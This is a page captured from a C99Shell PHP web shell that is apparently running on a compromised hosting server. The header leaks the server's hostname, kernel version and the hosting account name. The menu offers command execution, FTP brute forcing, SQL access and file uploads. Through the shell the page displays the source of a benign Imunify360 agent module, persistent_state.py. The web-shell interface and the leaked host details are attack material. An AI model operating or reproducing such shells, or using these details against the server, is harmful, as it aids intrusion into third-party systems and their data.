!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/imunify360/venv/lib/python3.11/site-packages/defence360agent/subsys/   drwxr-xr-x
Free 294.16 GB of 429.69 GB (68.46%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     persistent_state.py (1.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import json
from logging import getLogger
from pathlib import Path
from typing import Literal

from defence360agent.contracts.config import ANTIVIRUS_MODE
from defence360agent.contracts.plugins import Scope


logger = getLogger(__name__)
BASE_DIR = Path("/var/imunify360")
PERSISTENT_STATE_DIR = BASE_DIR / ".persistent_state"
LOCK_FILES = set()


def register_lock_file(
    lock_file: str, scope: Literal[Scope.AV, Scope.IM360, Scope.AV_IM360]
) -> Path:
    """Register lock file for further usage."""
    _lock_file = PERSISTENT_STATE_DIR / f".{lock_file}.lock"
    if scope == Scope.AV_IM360:
        LOCK_FILES.add(_lock_file)
    elif scope == Scope.AV and ANTIVIRUS_MODE:
        LOCK_FILES.add(_lock_file)
    elif scope == Scope.IM360 and not ANTIVIRUS_MODE:
        LOCK_FILES.add(_lock_file)
    return _lock_file


def save_state(class_name: str, values: dict):
    """Save state to a file in .persistent_state folder."""

    folder_path = PERSISTENT_STATE_DIR
    try:
        folder_path.mkdir(parents=True, exist_ok=True)
        file_path = folder_path / f"{class_name}.state"
        json.dump(values, file_path.open("w"))
    except (AttributeError, OSError) as e:
        logger.error("Failed to save state: %s %s", class_name, e)


def load_state(class_name) -> dict:
    """Load state from a file in .persistent_state folder."""

    folder_path = PERSISTENT_STATE_DIR
    file_path = folder_path / f"{class_name}.state"

    if file_path.exists():
        try:
            return json.load(file_path.open("r"))
        except (json.JSONDecodeError, OSError, UnicodeDecodeError) as e:
            logger.error("Failed to load state: %s %s", class_name, e)
    return dict()


def remove_unused_locks():
    """Remove all unused lock files from .persistent_state folder."""
    for lock_file in PERSISTENT_STATE_DIR.glob("*.lock"):
        if lock_file not in LOCK_FILES:
            lock_file.unlink()

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0977 ]--